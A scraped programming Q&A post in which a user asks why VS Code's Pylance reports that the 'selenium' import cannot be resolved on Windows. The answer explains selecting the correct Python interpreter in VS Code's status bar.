I am editing a file in VS code. VS code gives the following error: Import "selenium" could not be resolved Pylance (reportMissingImports).

This is the code from metachar:

I have downloaded the windows chromedriver. I don't know where I must place it on my computer. Does anyone have an idea where I must place it and how I can solve this error. When I try it in Linux, I get not an error. I placed the chromedriver in the same dir as the python file. When I do the exact same thing in windows it does not work. Can anyone help me out?

CodePudding user response：

PyLance looks for the "selenium" python package and cannot find it in the configured python installation. Since you're using VSCode, make sure you've configured the python extension properly. When you open a .py file in VSCode, you should see a python setting in the status bar down below on the left. Select the installation on which you've installed selenium and PyLance will find your import.
